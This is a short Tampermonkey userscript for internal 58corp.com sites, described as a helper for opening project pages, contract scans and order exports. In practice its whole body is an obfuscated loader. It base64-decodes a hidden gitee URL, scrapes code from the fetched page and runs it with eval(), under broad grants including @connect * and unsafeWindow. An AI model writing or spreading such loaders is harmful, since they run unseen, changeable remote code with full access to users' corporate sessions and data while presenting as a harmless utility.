// ==UserScript== // @name 爱房js脚本 // @author 熊伟良 // @version 3.1 // @icon https://pages.anjukestatic.com/fe/ifang_node_admin_web/favicon.ico // @description 可以跳转项目页,打开合同扫描件,一键下载订单明细 // @connect * // @match https://daiketong.58corp.com/* // @match https://max.58corp.com/* // @match https://oa.58corp.com/* // @grant GM.addStyle // @grant GM.getValue // @grant GM.notification // @grant GM.openInTab // @grant GM.registerMenuCommand // @grant GM.setClipboard // @grant GM.setValue // @grant GM.xmlHttpRequest // @grant GM_addStyle // @grant GM_download // @grant GM_getResourceText // @grant GM_getResourceURL // @grant GM_getValue // @grant GM_notification // @grant GM_openInTab // @grant GM_registerMenuCommand // @grant GM_setClipboard // @grant GM_setValue // @grant GM_unregisterMenuCommand // @grant GM_xmlhttpRequest // @grant GM_addValueChangeListener // @grant unsafeWindow // @license MIT // @require https://cdn.bootcdn.net/ajax/libs/xlsx/0.17.1/xlsx.full.min.js // @run-at document-idle // @namespace http://tampermonkey.net/ // @downloadURL none // ==/UserScript== (async function() { // let url="https://gitee.com" // console.log(btoa(url)) var encodedString = "aHR0cHM6Ly9naXRlZS5jb20veHdsNzM1NjQ1NTE0L2FpZmFuZy9ibG9iL21hc3Rlci9qaWV5b25nLyVFNyU4OCVCMSVFNiU4OCVCRmpzJUU4JTg0JTlBJUU2JTlDJUFDLmpz"; var decodedString = atob(encodedString); // 发送 GET 请求 GM_xmlhttpRequest({ // 设置请求方式为 GET method: "GET", // 设置请求 URL 为解码后的字符串 url: decodedString, // 当请求成功时调用的函数 onload: async function (response) { // 创建 DOM 解析器对象 const parser = new DOMParser(); // 将响应文本解析为 HTML 文档对象 const htmlDoc = parser.parseFromString(response.responseText, "text/html"); // 获取名为 blob_raw 的 textarea 元素 const textarea = htmlDoc.querySelector('textarea[name="blob_raw"]'); // 获取 textarea 元素的文本内容,并去除首尾空格 const code = textarea.textContent.trim(); console.log('成功加载代码') // 执行解码后的代码 eval(code); } }); })()